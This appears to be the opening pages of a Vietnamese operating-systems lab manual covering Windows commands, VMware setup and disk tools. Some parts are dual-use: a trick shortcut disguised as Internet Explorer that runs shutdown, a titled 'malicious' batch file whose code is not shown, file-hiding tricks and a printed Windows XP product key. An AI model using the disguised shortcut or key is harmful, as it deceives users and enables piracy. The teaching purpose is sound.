Hệ điều hành - Các lệnh về mạng

pdf 83 trang vanle 3030
Bạn đang xem 20 trang mẫu của tài liệu "Hệ điều hành - Các lệnh về mạng", để tải tài liệu gốc về máy bạn click vào nút DOWNLOAD ở trên

Tài liệu đính kèm:

  • pdfhe_dieu_hanh_cac_lenh_ve_mang.pdf

Nội dung text: Hệ điều hành - Các lệnh về mạng

  1. hệ điều hành Trường Đại Học Mở TP.HCM – Ban Trung Học Chuyên Nghiệp
  2. Tài liệu tham khảo Hệ điều hành MỤC LỤC Lab 1. CÀI ĐẶT HỆ ĐIỀU HÀNH TRÊN VMWARE 1 Lab 2. CÁC LỆNH VỀ THƯ MỤC TẬP TIN 12 Lab 3. CHƯƠNG TRÌNH RESTORATION FILES 23 Lab 4. CÁC LỆNH VỀ HỆ THỐNG 24 4.1 CHKDSK 24 4.2 CLEANMGR 24 4.3 DEFRAG 25 4.4 FORMAT 25 4.5 CONVERT 26 4.6 CIPHER 26 4.7 LOGOFF 28 4.8 SYSTEMINFO 29 4.9 SHUTDOWN 29 4.10 Tạo file bat thực thi nhiều cơng việc 30 4.11 Tạo file bat chứa “mã độc” 30 4.12 Shortcut Internet Explorer “giả mạo” 30 Lab 5. ĐO LƯỜNG CÁC THAO TÁC VỀ I/O 32 Lab 6. THEO DÕI CÁC TIẾN TRÌNH VÀ BỘ NHỚ 35 6.1 Đánh giá hiệu suất máy tính với cơng cụ Task Manager 35 6.2 Quản lý Bộ nhớ ảo 38 6.3 Cơng cụ Process Explorer 39 6.4 Lệnh TASKLIST 40 6.5 Lệnh TASKKILL 40 Lab 7. TÌM HIỂU VỀ CRACKING 41 7.1 Dị tìm số serial trong phần mềm Teleport pro 1.29 41 7.2 Bỏ qua quá trình kiểm tra số serial của phần mềm DreamLight 44 Lab 8. TÌM HIỂU VỀ REGISTRY 47 8.1 Giới thiệu Registry 47 8.2 Tự động đăng nhập khơng cần mật khẩu 48 8.3 Khơng hiển thị logo Windows XP khi khởi động 48 8.4 Xĩa nội dung Page File (pagefie.sys) khi tắt máy 48 Ban THCN Đại Học Mở TP.HCM
  3. Tài liệu tham khảo Hệ điều hành 8.5 Hiển thị hộp thơng báo trước khi Logon 49 8.6 Ẩn Tab Hardware 50 8.7 Ẩn Tab Security 50 8.8 Ẩn mục Properties khi click phải trên biểu tượng My Computer 51 8.9 Ẩn các ổ đĩa 51 8.10 Đổi tên và biểu tượng các ổ đĩa 52 8.11 Ẩn các Icon đặc biệt trên Desktop 52 8.12 Ẩn hiện nút Shutdown 53 8.13 Tắt menu Log Off trên Start Menu 53 8.14 Tắt menu Run 54 8.15 Tắt menu Help & Supports trên Start Menu 54 8.16 Tắt menu Search trên Start Menu 55 8.17 Ẩn tất cả các Icon trong Systray 55 8.18 Tắt đồng hồ trên Systray 56 8.19 Hiển thị đồng hồ trên Taskbar theo phong cách mới 56 8.20 Vơ hiệu hố chức năng Update Windows 57 8.21 Ẩn Start Menu 57 8.22 Thay đổi chữ 'Start' trên Start Menu 58 8.23 Tắt Settings của Display trong Control Panel 60 8.24 Tắt mục ScreenSaver của Display trong Control Panel 60 8.25 Tắt mục thay đổi hình nền của Display trong Control Panel 60 8.26 Tắt mục Appearance của Display trong Control Panel 60 8.27 Thay đổi Wallpaper của màn hình đăng nhập 60 8.28 Cài đặt logo cơng ty và thơng tin cơng ty trong My Computer 61 8.29 Thay đổi màn hình Boot Screen của Windows 62 Lab 9. TỐI ƯU HỆ THỐNG VÀ BẢO MẬT 63 9.1 Một số dịch vụ cĩ thể vơ hiệu hố 63 9.2 Dọn dẹp thư mục Prefetch 63 9.3 Giảm hiệu ứng đồ hoạ 64 9.4 Tăng hiệu năng hệ thống 64 9.5 Ẩn máy tính khỏi Network Neighborhood 65 9.6 Vơ hiệu hĩa Shared documents 65 9.7 Khơng cho phép xĩa các Printers đã thiết lập 65 Ban THCN Đại Học Mở TP.HCM
  4. Tài liệu tham khảo Hệ điều hành 9.8 Tăng tốc độ lướt web 66 9.9 Hạn chế một số ứng dụng mà các người dùng cĩ thể chạy 66 9.10 Xố mật khẩu Admin 66 Lab 10. VIRUS VÀ SỰ NGUY HIỂM 67 10.1 Virus LogOff 67 10.2 Virus AutoRun 70 Lab 11. CÁC LỆNH VỀ MẠNG 71 11.1 Lệnh IPCONFIG 71 11.2 Lệnh PING 71 11.3 Lệnh NETSTAT 72 11.4 Lệnh TRACERT 73 11.5 Lệnh NET SEND 73 11.6 Sử dụng tiện ích chẩn đốn mạng 74 11.7 Sử dụng NetMeeting 75 Ban THCN Đại Học Mở TP.HCM
  5. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành Lab 1 CÀI ĐẶT HỆ ĐIỀU HÀNH TRÊN VMWARE Yêu cầu : cài đặt hệ điều hành Windows XP trên máy ảo Hướng dẫn: 1. Tạo máy ảo B1 : Khởi động phần mềm VMWare. Nhấn File \ B2 : chọn hệ điều hành cần cài đặt Windows XP New \ Virtual Machine. Nhấn Next, chọn mục Professional. Nhấn Next Typical, nhấn Next B3 : chọn thư mục lưu trữ máy ảo, nhấn Next B4 : cấu hình cho card mạng Use host only networking (dùng cho mạng nội bộ) GV: ThS. Đào Quốc Phương Trang 1
  6. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B5 : khai báo dung lượng ổ đĩa cứng là 5GB, nhấn B6 : chỉnh sửa một số các thơng số trong mục Finish để hồn tất Devices B7 : trong mục Devices, nhấn double vào mục B8 : trong mục Devices, nhấn double vào mục CD- Floppy bỏ mục Connect Power On ROM chọn mục Use ISO image và chỉ đường dẫn đến tập tin WXPVOL_EN.iso GV: ThS. Đào Quốc Phương Trang 2
  7. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành 2. Cài đặt Windows XP Professional B1 : nhấn Start this virtual machine để khởi động B2 : Nhấn Enter để tiếp tục. máy ảo. B3 : nhấn F8 đồng ý các điều khoản. GV: ThS. Đào Quốc Phương Trang 3
  8. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B4 : nhấn phím C để tạo mới partition. B5 : nhập dung lượng cho partition là 4GB ( 4096 MB) và nhấn Enter để tạo mới partition. GV: ThS. Đào Quốc Phương Trang 4
  9. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B6 : nhấn Enter để tạo thêm partition cĩ dung lượng 1012 MB. B7 : chọn ổ đĩa C: và nhấn Enter để bắt đầu cài đặt hệ điều hành lên partition này. GV: ThS. Đào Quốc Phương Trang 5
  10. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B8 : định dạng partition này là FAT32. Nhấn Enter để tiếp tục B9 : Nhấn Enter để tiếp tục. GV: ThS. Đào Quốc Phương Trang 6
  11. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B10 : Quá trình copy các tập tin bắt đầu B11 : Quá trình cài đặt bắt đầu GV: ThS. Đào Quốc Phương Trang 7
  12. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B12 : Nhấn Next để tiếp tục. B13 : Nhập tên và tổ chức vào các hộp thơng tin và nhấn Next để tiếp tục. GV: ThS. Đào Quốc Phương Trang 8
  13. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B14 : Nhập số CD-Key: XP8BF-F8HPF-PY6BX-K24PJ-TWT6M và nhấn Next để tiếp tục. B15 : Nhập tên cho máy tính và mật khẩu của người Administrator. GV: ThS. Đào Quốc Phương Trang 9
  14. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B16 : Cấu hình kết nối mạng, nhấn Next để tiếp tục. B17 : Quá trình cài đặt bước vào giai đoạn hồn tất. GV: ThS. Đào Quốc Phương Trang 10
  15. Lab1: Cài đặt Hệ điều hành trên VMWare Hệ điều hành B18 : Tạo tài khoản để đăng nhập hệ thống, nhấn Next để tiếp tục B19 : Màn hình Welcome chào đĩn nguời dùng BÀI TẬP Tạo máy ảo với cấu hình như sau: HDD (9GB); RAM (512MB) 1. Cài đặt hệ điều hành Windows 7 trên máy ảo. 2. Cài đặt hệ điều hành Windows Server 2003 trên máy ảo. GV: ThS. Đào Quốc Phương Trang 11
  16. Lab2: Các lệnh về thư mục tập tin Hệ điều hành Lab 2 CÁC LỆNH VỀ THƯ MỤC TẬP TIN 0. Hãy tạo cây thư mục sau D:\ |___Computer |___Monitor | |___M | |___CPU | |___RAM | |___Cache | |___Temp 1. Sao chép thư mục RAM vào thư mục Monitor (tương đương với Copy Paste) 2. Di chuyển thư mục Cache vào thư mục CPU (tương đương với Cut Paste) 3. Đổi tên thư mục M thành Mainboard 4. Xố thư mục TEMP Hướng dẫn: 0. Tạo cây thư mục B1: khởi động chế độ command promt trong B2: chuyển đến ổ đĩa D: và tạo thư mục Computer Windows bằng cách nhấn Start Run gõ cmd bằng lệnh md OK. Chuyển về thư mục gốc ổ đĩa C bằng lệnh cd B3: chuyển đến thư mục Computer bằng lệnh cd. B4: tạo thư mục Monitor trong thư mục Computer Trong lúc làm cĩ thể sử dụng lệnh cls để xố màn D:\Computer>md Monitor hình hiện tại để nhìn cho thống hơn. GV: ThS. Đào Quốc Phương Trang 12
  17. Lab2: Các lệnh về thư mục tập tin Hệ điều hành B5: dùng lệnh md để tạo tiếp các thư mục cịn lại B6: xem lại cây thư mục đã tạo bằng lệnh tree nằm trong thư mục Computer 1. Sao chép thư mục RAM vào thư mục Monitor B1: ta dùng lệnh xcopy với cú pháp như sau: B2: xem lại cây thư mục bằng lệnh tree xcopy /E D:\Computer\RAM D:\Computer\Monitor\RAM 2. Di chuyển thư mục Cache vào thư mục CPU B1: ta dùng lệnh move với cú pháp như sau: B2: xem lại cây thư mục bằng lệnh tree move D:\Computer\Cache D:\Computer\CPU GV: ThS. Đào Quốc Phương Trang 13
  18. Lab2: Các lệnh về thư mục tập tin Hệ điều hành 3. Đổi tên thư mục M thành Mainboard B1: ta dùng lệnh ren với cú pháp như sau: B2: xem lại cây thư mục bằng lệnh tree ren D:\Computer\M Mainboard 4. Xố thư mục TEMP B1: ta dùng lệnh rd với cú pháp như sau: B2: xem lại cây thư mục bằng lệnh tree rd /S /Q D:\Computer\Temp 5. Tạo một tập tin data.txt trong thư mục COMPUTER với nội dung tuỳ ý và xem lại nội dung tập tin data.txt vừa tạo. 6. Sao chép tập tin data.txt sang thư mục MAINBOARD 7. Đổi tên tập tin data.txt trong thư mục COMPUTER thành baitho.txt 8. Di chuyển tập tin data.txt trong thư mục MAINBOARD sang thư mục COMPUTER 9. Xố tập tin data.txt trong thư mục COMPUTER 10. Đặt thuộc tính ReadOnly cho tập tin baitho.txt Hướng dẫn: 5. Tạo một tập tin data.txt trong thư mục COMPUTER với nội dung tuỳ ý và xem lại nội dung tập tin data.txt vừa tạo. GV: ThS. Đào Quốc Phương Trang 14
  19. Lab2: Các lệnh về thư mục tập tin Hệ điều hành B1: ta dùng lệnh copy con với cú pháp như sau: B2: xem lại cây thư mục bằng lệnh tree với cú pháp D:\> copy con D:\Computer\data.txt như sau: Sau khi soạn xong nội dung ta nhấn F6 để hồn tất. D:\> tree /F Computer B3: để xem lại nội dung của tập tin đã tạo ta dùng B4: xem thuộc tích của tập tin data.txt bằng lệnh lệnh type với cú pháp như sau: attrib với cú pháp như sau: D:\> type D:\Computer\data.txt D:\> attrib D:\Computer\data.txt 6. Sao chép tập tin data.txt sang thư mục MAINBOARD B1: để sao chép tập tin ta dùng lệnh copy với cú pháp B2: xem lại cây thư mục bằng lệnh tree với cú pháp như sau : như sau: D:\>copy D:\Computer\data.txt D:\Computer\Mainboard D:\> tree /F Computer GV: ThS. Đào Quốc Phương Trang 15
  20. Lab2: Các lệnh về thư mục tập tin Hệ điều hành 7. Đổi tên tập tin data.txt trong thư mục COMPUTER thành baitho.txt B1: để đổi tên tập tin ta dùng lệnh ren với cú pháp B2: xem lại cây thư mục bằng lệnh tree với cú pháp như sau: như sau: D:\>ren D:\Computer\data.txt baitho.txt D:\> tree /F Computer 8. Di chuyển tập tin data.txt trong thư mục MAINBOARD sang thư mục COMPUTER B1: để di chuyển tập tin ta dùng lệnh move với cú B2: xem lại cây thư mục bằng lệnh tree với cú pháp pháp như sau: như sau: D:\> move D:\Computer\Mainboard\data.txt D:\> tree /F Computer D:\Computer 9. Xố tập tin data.txt trong thư mục COMPUTER B1: để xố tập tin ta dùng lệnh del với cú pháp sau B2: xem lại cây thư mục bằng lệnh tree D:\> del D:\Computer\data.txt D:\> tree /F Computer GV: ThS. Đào Quốc Phương Trang 16
  21. Lab2: Các lệnh về thư mục tập tin Hệ điều hành 10. Đặt thuộc tính ReadOnly cho tập tin baitho.txt B1: để đặt thuộc tính cho một tập tin ta dùng lệnh B2: xem lại thuộc tính của tập tin attrib với cú pháp như sau: D:\> attrib D:\Computer\baitho.txt D:\> attrib +R D:\Computer\baitho.txt 11. Tạo một tập tin che dấu nội dung của tập tin B1: trong cửa sổ lệnh ta gõ lệnh như sau: B2: xuất hiện một hộp thoại chọn Yes, gõ nội dung D:\>notepad virus.txt:password tuỳ ý cho tập tin, nhấn File Save để lưu trữ B3: mở Windows Explorer, double click vào tập tin B4: để chỉnh sửa hoặc xem lại nội dung tập tin virus.txt chúng ta sẽ khơng thấy nội dung gì của tập virus.txt ta gõ lệnh như B1 tin hiện ra. D:\>notepad virus.txt:password GV: ThS. Đào Quốc Phương Trang 17
  22. Lab2: Các lệnh về thư mục tập tin Hệ điều hành 12. Ẩn thư mục dưới một hình dạng khác B1: tạo một thư mục tên www.mywebsite.com. Chép B2: Thử double click để mở thư mục dữ liệu của bạn vào thư mục này. Đổi tên thư mục www.mywebsite.com. Kết quả bạn sẽ thấy gì ? Bạn thành muốn thấy lại thư mục hãy gõ dịng lệnh sau : www.mywebsite.com.{871C5380-42A0-1069-A2EA- D:\> ren www.mywebsite.com.{871C5380-42A0- 08002B30309D} 1069-A2EA-08002B30309D} www.website.com 13. Đặt password bảo vệ cho thư mục B1: Đầu tiên, bạn đưa các tập tin cần bảo vệ vào 1 B2: Bạn hãy mở thư mục nén này ra bằng chương thư mục, sau đĩ click phải vào thư mục đĩ, chọn trình nén của Windows. Bạn vào menu File ~> Add a Send to ~> Compressed (zipped) Folder. Chờ cho password. Một hộp thoại hiện ra, bạn gõ pass vào ơ thư mục được nén lại với đuơi là .zip Password và Confirm Password sau đĩ nhấn OK. Đến đây, thư mục của bạn đã được password bảo vệ. Chú ý : nếu máy cĩ cài chương trình nén file thì vào Option hoặc Settings của chương trình đĩ, tìm mục File List hoặc Integration và bỏ chọn ở phần ZIP. GV: ThS. Đào Quốc Phương Trang 18
  23. Lab2: Các lệnh về thư mục tập tin Hệ điều hành 14. Đưa bí mật vào trong file B1: chuẩn bị tập tin hình ảnh định dạng jpg, các B2: Nén các tập tin cần ẩn thành một tập tin nén .rar tập tin cần ẩn. hoặc .zip B3: Nhấn Start ~> Run gõ cmd để mở cửa sổ lệnh. Kết quả là tập tin mới newflower.jpg được tạo ra cĩ Sau đĩ gõ lệnh sau: dung lượng bằng tổng các file (x.rar và flower.jpg). Copy /b flower.jpg + x.rar newflower.jpg Như vậy là chúng ta đã hồn thành cơng việc. GV: ThS. Đào Quốc Phương Trang 19
  24. Lab2: Các lệnh về thư mục tập tin Hệ điều hành Lấy lại những tập tin ẩn trong file hình flower.jpg Nhận xét khi ta double click vào file newflower.jpg Để lấy lại file ẩn trong hình ta mở file hình này bằng chỉ nhìn thấy đĩ là một tấm hình về một đố hoa. chương trình giải nén winrar sẽ thấy các tập tin ẩn. Thực hành : Tạo cây thư mục sau sau đĩ lần lượt xố thư mục Windows và Unix D:\ |___Windows | |___MSDOS | | | |___Win98 | | | |___WinXP | | | |___WinNT | | | |___WinVista | | | |___Windows7 | |___Unix |___Solaris | |___Linux | |___Fedora | |___RedHat | |___Ubuntu GV: ThS. Đào Quốc Phương Trang 20
  25. Lab2: Các lệnh về thư mục tập tin Hệ điều hành BÀI TẬP  Tạo cây thư mục trên ổ đĩa D:\ cĩ cấu trúc như sau: Lưu ý: Thư mục SOMAY-HOTEN học viên phải đổi lại là số máy và họ tên của mình Ví dụ : 007 – TranThiThuTrang  Anh (chị) hãy lần lượt thực hiện các thao tác sau: 1. Sao chép thư mục BT1 vào thư mục CCA 2. Di chuyển thư mục ACCESS1 vào thư mục CCB 3. Di chuyển thư mục IELTS vào thư mục ENGLISH 4. Lần lượt đổi tên các thư mục  Thư mục BAITAP2 thành ACCESS2  Thư mục BT3 thành ACCESS3 5. Xố thư mục HINHANH trong thư mục CCA 6. Tạo tập tin security.txt với nội dung tuỳ ý và lưu vào thư mục CCA 7. Sao chép 2 tập tin mspaint.exe và notepad.exe trong thư mục C:\WINDOWS\system32 vào CCA 8. Tạo thêm thư mục BACKUP trong thư mục SOMAY-HOTEN 9. Sao chép các tập tin trong thư mục CCA vào thư mục BACKUP 10. Đổi tên tập tin mspaint.exe trong thư mục BACKUP thành hoasy.exe ƠN TẬP Các lệnh về thư mục 1. Lệnh xem thư mục làm việc hiện hành: 2. Chuyển thư mục làm việc đến thư mục C:\Windows: GV: ThS. Đào Quốc Phương Trang 21
  26. Lab2: Các lệnh về thư mục tập tin Hệ điều hành 3. Chuyển thư mục làm việc đến D:\: 4. Tạo thư mục lab1, trong đĩ tạo thêm thư mục data, script, temp: 5. Chuyển thư mục làm việc sang thư mục lab1 mới tạo và liệt kê thư mục: 6. Xĩa thư mục temp trong thư mục lab1: Các lệnh về file 7. Chuyển thư mục làm việc sang thư mục lab1\data. Dùng lệnh copy con tạo file poem.txt với nội dung là một bài thơ mình thích. 8. In ra màn hình nội dung file poem.txt: 9. Chép file C:\Windows\greenstone.bmp đến thư mục lab1\data: Sử dụng trợ giúp 10. Lệnh để xem trợ giúp của lệnh copy: 11. Lệnh xem trợ giúp của lệnh move: 12. Lệnh xem trợ giúp của taskkill: Chuyển hướng xuất nhập 13. Thực hiện lệnh liệt kê thư mục C:\Windows và kết quả được lưu vào file result.txt: 14. Liệt kê nội dung thư mục C:\Windows và dừng lại sau khi in đầy màn hình: GV: ThS. Đào Quốc Phương Trang 22
  27. Lab3: Chương trình Restoration Files Hệ điều hành Lab 3 CHƯƠNG TRÌNH RESTORATION FILES Chuẩn bị cơng cụ: Đĩa Hiren Boot. Một tập tin hình ảnh và tập tin văn bản B1: tạo một tập tin văn bản với nội dung bất kỳ trên ổ B2: xố hẳn 2 file trên bằng cách chọn 2 file và nhấn đĩa C:, copy thêm một tập tin hình ảnh vào ổ đĩa C: tổ hợp phím Shift + Delete B3: mở đĩa CD Hiren Boot và truy cập vào thư mục B4: chọn 2 file cần phục hồi và nhấn nút lệnh theo đường dẫn E:\HBCD\WinTools, chạy chương Restore by Copying, sau đĩ chọn ổ đĩa D:\. Mở ổ trình bằng cách nhấn đúp vào file Restoration.bat đĩa D: và kiểm tra lại nội dung 2 file trên GV: ThS. Đào Quốc Phương Trang 23
  28. Lab4: Các lệnh về hệ thống Hệ điều hành Lab 4 CÁC LỆNH VỀ HỆ THỐNG 4.1 CHKDSK Cơng dụng: tạo hoặc hiển thị báo cáo về tình trạng ổ đĩa dựa trên hệ thống tập tin đã được dùng. CHKDSK cĩ thể liệt kê và sửa lỗi ổ cứng. Nếu CHKDSK khơng thể sử dụng được nĩ sẽ đề nghị bạn thực hiện lại thử sau khi đã khởi động lại máy. Để dùng đựơc lệnh CHKDSK bạn phải thuộc nhĩm quản trị (Administrator). Cú pháp: CHKDSK [drive:][[path] filename] [/f] [/v] [/r] [/l[:size]] [/x] Ví dụ: Kiểm tra và sửa lỗi trên ổ đĩa D: B1: ta gõ lệnh sau CHKDSK /F D: B2: màn hình thể hiện các thơng tin diễn ra của tiến Tham số /F : fix errors on the disk trình kiểm tra đĩa 4.2 CLEANMGR Lệnh này dùng để xố rác các ổ đĩa, bạn cũng cĩ thể vào Start Programs Accessories System Tools Disk Cleanup, tuy nhiên nếu dùng lệnh các bạn cĩ thể lập lịch tự động để dọn dẹp rác cho máy. B1: ta gõ lệnh cleanmgr /sagerun : 64 B2: tiến trình cleanup diễn ra trên tất cả ổ đĩa GV: ThS. Đào Quốc Phương Trang 24
  29. Lab4: Các lệnh về hệ thống Hệ điều hành 4.3 DEFRAG Lệnh này dùng để chống phân mảnh đĩa giúp tăng tốc độ truy xuất đĩa cứng. Ví dụ : thực hiện việc dồn đĩa trên đĩa D: ta làm các bước như sau : B1: ta gõ lệnh defrag D: -f B2: thơng tin sau khi thực hiện xong lệnh defrag 4.4 FORMAT Cơng dụng: định dạng các loại đĩa được Windows XP chấp nhận. Bạn phải sử dụng tên đăng nhập thuộc nhĩm quản trị nếu muốn định dạng một phân vùng ổ cứng. Cú pháp: format volume [/fs:file-system] [/v:label] [/q] [/a:unitsize] [/f:size] [/t:tracks /n:sectors] [/c] [/x] [/1] [/4] [/8] volume: tên ổ đĩa (đối đĩa mềm, đĩa gắn rời) hoặc tên phân vùng ổ cứng cần định dạng. /fs:file-system tên bảng phân hoạch tập tin FAT, FAT32 hoặc NTFS. Ổ đĩa mềm chỉ cĩ thể dùng FAT. /v:label nhãn của ổ đĩa. Nếu bạn khơng nhập đối số /v hoặc khơng nhập nhãn đĩa, Windows 2000 sẽ yêu cần bạn nhập nhãn đĩa sau khi định dạng xong. Nếu bạn định dạng cho nhiều đĩa cùng lúc thì tất cả các ổ đĩa đều cĩ nhãn đĩa giống nhau. Khơng dùng /v với /8. /q Xĩa bảng danh mục tập tin và thư mục gốc trước khi định dạng nhưng khơng quét để kiểm tra những vùng bị hỏng trên đĩa. Tham số này dùng đối với các ổ đĩa đã được định dạng trước đĩ, và nĩ sẽ thực hiện thao tác định dạng nhanh hơn thơng thường. /a:unitsize xác định độ lớn của một liên cung trên đĩa được định dạng. Nếu bạn khơng nhập dung lượng unitsize lệnh sẽ lấy một dung lượng thích hợp tùy vào dung lượng nhớ của đĩa được định dạng. /t:tracks số rãnh trên đĩa - cĩ thể dùng /f thay tham số này. /n:sectors số cung trên một rãnh. Ví dụ: Định dạng lại ổ đĩa D: (chú ý dữ liệu trên đĩa D sẽ bị mất hết) GV: ThS. Đào Quốc Phương Trang 25
  30. Lab4: Các lệnh về hệ thống Hệ điều hành B1: ta gõ lệnh sau FORMAT D: B2: khi dùng lệnh này dữ liệu trên đĩa sẽ bị mất, vì vậy chúng ta phải cẩn thận. 4.5 CONVERT Lệnh này dùng để chuyển đổi hệ thống tập tin (file system) từ dạng FAT32 sang NTFS. Chúng ta chuyển partition thành NTFS khi muốn nhu cầu bảo mật tốt hơn. Ví dụ : chuyển partition D từ FAT32 thành NTFS B1: ta gõ lệnh như sau CONVERT D: /FS:ntfs B2: diễn biến của tiến trình và khi kết thúc. 4.6 CIPHER Lệnh này dùng để mã hố và giải mã tập tin và thư mục. Điều kiện để mã hố và giải mã là partition đĩ phải được định dạng hệ thống file là NTFS. Lệnh khơng cĩ tác dụng với tập tin cĩ thuộc tính Read Only Ví dụ : mã hố thư mục C:\MyData GV: ThS. Đào Quốc Phương Trang 26
  31. Lab4: Các lệnh về hệ thống Hệ điều hành B1: ta gõ lệnh CIPHER /e C:\MyData B2: thư mục mã hố sẽ cĩ màu xanh khác so với các Tham số /e : encrypt thư mục khác. Và khi ta copy bất kỳ tập tin nào vào thư mục này thì các tập tin đĩ cũng sẽ được mã hố. B3: ta chia sẻ thư mục C:\MyData trên mạng bằng B4: từ máy khác truy cập vào thư mục MyData và cách nhấn chuột phải vào MyData chọn Sharing and mở thử xem nội dung của bất kỳ tập tin nào trong đĩ Security xem xảy ra hiện tượng gì ? Ví dụ : giải mã lại thư mục C:\MyData B1: ta gõ lệnh CIPHER /d /s:C:\MyData /a B2: thư mục C:\MyData trở lại bình thường và ta cĩ Tham số /d : decrypt thể truy xuất được các tập tin trong thư mục để xem nội dung của tập tin Tham số /s : duyệt tất cả tập tin và thư mục con Tham số /a : thực thi decrypt cho cả tập tin và thư mục GV: ThS. Đào Quốc Phương Trang 27
  32. Lab4: Các lệnh về hệ thống Hệ điều hành Ví dụ : mã hố tập tin C:\MyData\data.txt B1: ta gõ lệnh CIPHER /e /a C:\MyData\data.txt B2: từ máy khác truy cập vào mở xem nội dung tập tin MyData\data.txt Ví dụ : giải mã tập tin C:\MyData\data.txt B1: ta gõ lệnh CIPHER /d /a C:\MyData\data.txt B2: từ máy khác truy cập vào mở xem nội dung tập tin MyData\data.txt 4.7 LOGOFF Lệnh này dùng để thốt ra khỏi session đang làm việc, tương đương với thao tác Logoff khi ta nhấn Start B1: ta gõ lệnh sau LOGOFF B2: kết quả là màn hình đăng nhập xuất hiện GV: ThS. Đào Quốc Phương Trang 28
  33. Lab4: Các lệnh về hệ thống Hệ điều hành 4.8 SYSTEMINFO Lệnh này dùng để xem thơng tin hệ thống gồm thơng tin về hệ điều hành, CPU, RAM, B1: ta gõ lệnh sau SYSTEMINFO B2: màn hình thể hiện các thơng tin 4.9 SHUTDOWN Cơng dụng: shutdown máy Cú pháp: shutdown [-s | -r] [-m \\computername] [-t xx] -s : shutdown máy -r : shutdown và restart lại máy -m \\computername : shutdown máy từ xa -t xx : thiết lập thời gian trước khi shutdown xx giây Ví dụ: Shutdown máy sau 30 giây Điều khiển Shutdown máy tính khác từ xa GV: ThS. Đào Quốc Phương Trang 29
  34. Lab4: Các lệnh về hệ thống Hệ điều hành 4.10 Tạo file bat thực thi nhiều cơng việc Ví dụ : tạo tập tin congviec.bat thực hiện những cơng việc sau (lưu ý phần mở rộng của tập tin là .bat) 1. thực thi cơng việc dọn dẹp rác các ổ đĩa 2. shutdown máy sau 60 giây Để thực thi ta double click và tập tin congviec.bat là xong 4.11 Tạo file bat chứa “mã độc” Ví dụ : tạo tập tin virus.bat với đoạn mã độc hại sau (lưu ý phần mở rộng của tập tin là .bat) Chú ý : Đoạn mã lệnh trên sẽ xố các tập tin quan trọng của hệ thống Windows và gây cho hệ điều hành Windows khơng thể khởi động. Đoạn code này chỉ mang tính chất tham khảo phục vụ trong việc học tập, các sinh viên được cảnh báo khơng sử dụng trong việc khác. 4.12 Shortcut Internet Explorer “giả mạo” Tạo shortcut giả mạo chứa mã độc gây nhầm lẫn cho người dùng GV: ThS. Đào Quốc Phương Trang 30
  35. Lab4: Các lệnh về hệ thống Hệ điều hành B1: Tạo shortcut trên màn hình nền Desktop bằng B2: Đánh dịng lệnh shutdown vào ơ Type the cách nhấn chuột phải vào màn hình Desktop ~> location of the item (chắc các bạn cũng đốn được chọn New ~> chọn Shortcut mã lệnh này dùng làm gì). Nhấn Next tiếp tục. B3: Đặt tên cho shortcut là Internet Explorer. Nhấn B4: Thay đổi biểu tượng shortcut bằng cách nhấn Finish hồn tất. chuột phải shortcut ~> Properties ~> Change Icon Hãy thử nhấn vào biểu tượng IE xem xảy ra chuyện gì ? Chú ý : Các thao tác được hướng dẫn chỉ mang tính chất tham khảo phục vụ trong việc học tập nhằm giúp sinh viên cĩ ý thức cảnh giác trước những nguy cơ tiềm ẩn, các sinh viên được cảnh báo khơng sử dụng trong việc khác. GV: ThS. Đào Quốc Phương Trang 31
  36. Lab5: Đo lường các thao tác về I/O Hệ điều hành Lab 5 ĐO LƯỜNG CÁC THAO TÁC VỀ I/O 1. Mục tiêu Đánh giá hiệu suất của hệ thống khi xử lý những file dữ liệu lớn. Sinh viên thực hiện viết một chương trình Visual Basic trên Windows đọc nội dung một file (cĩ kích thước lớn), xử lý và sau đĩ ghi vào một file mới. Chương trình sẽ đo thời gian chạy chương trình khi sử dụng trực tiếp system call của Windows và khi sử dụng thư viện hàm của Visual Basic. 2. Kiến thức cần biết Lập trình Visual Basic trên Windows Kỹ thuật lập trình đọc ghi file Kỹ thuật thao tác với time trên Windows 3. Yêu cầu chi tiết Viết 2 chương trình thực hiện việc đọc file và ghi ra 1 file mới, 1 chương trình sử dụng trực tiếp system call dùng các hàm API của Windows, một chương trình khác sử dụng các hàm xây dựng sẵn của Visual Basic (Open, Get, Put, Close) để đọc và ghi dữ liệu. Chương trình cĩ khai báo kích thước buffer sử dụng để xử lý. Giao diện của chương trình như sau: Trong chương trình viết đoạn lệnh dùng để đo thời gian thực thi của 2 chương trình trên, với kích thước buffer thay đổi từ 256B, 512B, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB, 64KB, 128KB, 256KB, 512KB, 1MB, 2MB, 4MB. Thời gian cĩ thể được lấy bằng hàm GetTickCount (xem thêm trong mã nguồn ví dụ). và được tính chính xác đến miligiây (ms). Tham khảo source code mẫu đính kèm (chưa hồn chỉnh). 4. Kết quả: Kết quả thu được, tĩm tắt dưới dạng bảng như sau GV: ThS. Đào Quốc Phương Trang 32
  37. Lab5: Đo lường các thao tác về I/O Hệ điều hành Exec time - System call (ms) Exec time – Visual Basic library (ms) Buffer \ Implementation Lần 1 Lần 2 Lần 3 Trung bình Lần 1 Lần 2 Lần 3 Trung bình 256B 512B 1KB 2KB 4KB 8KB 16KB 32KB 64KB 128KB 256KB 512KB 1MB 2MB 4MB ` Lưu ý: mỗi lần chạy cĩ thể khác nhau nên sinh viên cần chạy 3 lần và ghi nhận lại trong bảng kết quả. Nhận xét, đánh giá về thời gian chạy của 2 chương trình khi tăng kích thước buffer. Vài mơ tả về platform sử dụng để chạy chương trình (tốc độ CPU, kích thước bộ nhớ) GV: ThS. Đào Quốc Phương Trang 33
